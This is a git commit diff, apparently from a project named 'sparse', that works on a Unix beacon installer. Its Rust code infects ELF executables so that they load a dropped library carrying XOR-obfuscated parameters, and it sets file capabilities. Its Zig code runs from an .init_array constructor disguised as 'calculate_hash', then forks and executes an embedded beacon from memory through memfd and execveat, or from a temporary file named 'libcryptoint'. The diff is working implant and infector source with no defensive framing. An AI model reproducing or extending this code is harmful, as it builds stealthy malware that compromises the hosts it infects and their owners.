feat: got unix-beacon tested on Linux

This commit is contained in:
Andrew Rioux 2025-02-05 16:53:11 -05:00
parent 90c8b97141
commit cd2890ee36
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
6 changed files with 82 additions and 49 deletions

1
Cargo.lock generated
View File

@ -3267,6 +3267,7 @@ dependencies = [
name = "sparse-unix-installer"
version = "2.0.0"
dependencies = [
"hex",
"rand 0.9.0",
"sparse-actions",
"sparse-unix-infector",

View File

@ -4,7 +4,7 @@ use std::{
slice,
};
use sparse_actions::payload_types::Parameters;
use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod elf_types;
use elf_types::*;
@ -21,19 +21,41 @@ pub const SPARSE_LIBRARY: &'static [u8] =
pub fn infect_elf_binary<BP, LP>(
binary_path: BP,
target_library_path: LP,
sparse_parameters: &Parameters,
mut sparse_parameters: Vec<u8>,
) -> Result<(), Error>
where
BP: AsRef<Path>,
LP: AsRef<Path>,
{
std::fs::write(&target_library_path, SPARSE_LIBRARY)?;
let mut sparse_library = SPARSE_LIBRARY.to_vec();
for b in sparse_parameters.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
if sparse_library[i..(i+256)] == *b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" {
sparse_library[i..(i+256)].copy_from_slice(&vec![0; 256]);
let tlp = target_library_path
.as_ref()
.to_str()
.expect("invalid path provided for library")
.to_owned();
sparse_library[i..(i+tlp.len())].copy_from_slice(tlp.as_bytes());
}
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
}
}
std::fs::write(&target_library_path, sparse_library)?;
let mut binary = std::fs::OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open(&binary_path)?;
.open(&binary_path)
.expect("Could not open binary path for infecting");
binary.seek(SeekFrom::End(0))?;
let end = binary.stream_position()?;
@ -49,7 +71,7 @@ where
};
if let ElfIsa::Amd64 = isa {
infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?;
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
#[cfg(target_os = "linux")]
{
@ -94,8 +116,11 @@ where
.expect("could not convert binary path to string"),
)
.expect("could not convert binary path to string");
let current_caps = cap_get_file(path.as_ptr());
println!("Result of getting caps: {}", errno::errno());
println!(
"Result of setting effective caps: {} (errno: {})",
cap_set_flag(
@ -153,7 +178,6 @@ fn infect_64bit_elf_binary<LP, F>(
library_path: LP,
mut binary: F,
mut binary_data: Vec<u8>,
sparse_parameters: &Parameters,
) -> Result<(), Error>
where
LP: AsRef<Path>,
@ -335,11 +359,5 @@ where
binary.seek(SeekFrom::Start(0))?;
binary.write(&binary_data)?;
let param_data = &sparse_parameters as *const _ as *const u8;
let param_slice =
unsafe { slice::from_raw_parts(param_data, std::mem::size_of::<Parameters>()) };
binary.write(param_slice)?;
Ok(())
}

View File

@ -4,6 +4,7 @@ edition = "2024"
version.workspace = true
[dependencies]
hex = "0.4.3"
rand = "0.9.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }

View File

@ -52,10 +52,10 @@ fn main() -> Result<(), Error> {
installer_file.seek(SeekFrom::End(-parameters_size))?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
installer_file.read(&mut parameters_buffer)?;
installer_file.read_to_end(&mut parameters_buffer)?;
for b in parameters_buffer.iter_mut() {
*b = *b & (XOR_KEY as u8);
*b = *b ^ (XOR_KEY as u8);
}
let parameters: &mut Parameters =
@ -66,6 +66,11 @@ fn main() -> Result<(), Error> {
.try_fill_bytes(&mut identifier)
.expect("Could not generate beacon identifier");
let hex_ident = hex::encode(&identifier);
parameters
.beacon_identifier
.copy_from_slice(&hex_ident.as_bytes());
let beacon_name = opts.binary_name.as_bytes();
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
parameters.beacon_name_length = beacon_name.len() as u16;
@ -73,5 +78,9 @@ fn main() -> Result<(), Error> {
parameters.delay_seconds_min = opts.delay_seconds_minimum;
parameters.delay_seconds_max = opts.delay_seconds_minimum;
infect_elf_binary(opts.binary, opts.library_path, parameters)
std::fs::write("./debug.params-pre", &parameters_buffer)?;
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
Ok(())
}

View File

@ -4,9 +4,10 @@ const posix = std.posix;
const beacon = @embedFile("beacon");
const Parameters = @cImport({
const abi = @cImport({
@cInclude("abi.h");
}).Parameters;
});
const Parameters = abi.Parameters;
const config = @import("config");
@ -14,7 +15,7 @@ fn open_temp() !std.fs.File {
switch (builtin.os.tag) {
.linux => {
const fd = try posix.memfd_create("", 0);
return std.fs.File{ .handle = fd };
return std.fs.File{ .handle = @intCast(fd) };
},
else => {
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
@ -41,17 +42,29 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
const file_path = switch (builtin.os.tag) {
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
else => "/tmp/libcryptoint",
else => try std.fmt.allocPrint(alloc, "/dev/fd/{d}", .{exe_file.handle}),
};
exe_file.close();
const key = (abi.XOR_KEY << 8) | abi.XOR_KEY;
const beacon_name_length: usize = @intCast(parameters.beacon_name_length ^ key);
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..beacon_name_length]);
var i: u16 = 0;
while (i < beacon_name_length) : (i += 1) {
beacon_name[i] ^= @intCast(abi.XOR_KEY);
}
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
const file_path_ptr = try alloc.dupeZ(u8, file_path);
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
const envp: [*:null]const ?[*:0]const u8 = &.{null};
switch (builtin.os.tag) {
.linux => {
_ = std.os.linux.syscall5(.execveat, @intCast(exe_file.handle), @intFromPtr(""), @intFromPtr(argv), @intFromPtr(envp), 0x1000);
},
else => {
switch (posix.execveZ(file_path_ptr, argv, envp)) {
else => |e| {
if (builtin.mode == .Debug) {
@ -59,6 +72,8 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
}
},
}
},
}
posix.exit(1);
}
@ -81,12 +96,6 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
if (pid == 0) {
if (try posix.fork() == 0) {
try exec_beacon(gzipped_exe, parameters);
} else if (builtin.os.tag != .linux) {
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
_ = std.c.sem_wait(sem);
posix.unlink("/tmp/libcryptoint") catch {};
}
posix.exit(0);
} else {

View File

@ -5,32 +5,27 @@ const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
extern fn hash_internals(parameters: *Parameters) void;
extern fn hash_internals(parameters: *const Parameters) void;
var file_parameters: Parameters = undefined;
const file_parameters: [@sizeOf(Parameters) / 2]u16 = blk: {
var arr: [@sizeOf(Parameters) / 2]u16 = undefined;
for (&arr) |*item| {
item.* = ('B' << 8) | 'B';
}
break :blk arr;
};
fn fill_parameters() !void {
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
const file_with_params: *const [256:0]u8 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
try this_file.seekFromEnd(@sizeOf(Parameters));
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
_ = try this_file.reader().read(&param_buffer);
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
fn get_parameters() *const Parameters {
return @as(*const Parameters, @ptrCast(&file_parameters));
}
export fn calculate_hash() callconv(.C) void {
if (dbg) {
std.io.getStdOut().writeAll("Loaded!") catch {};
std.io.getStdOut().writeAll("Loaded!\n") catch {};
}
fill_parameters() catch |err| {
if (dbg) {
std.debug.print("Error calculating hash! {any}", .{err});
}
return;
};
hash_internals(&file_parameters);
hash_internals(get_parameters());
}
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};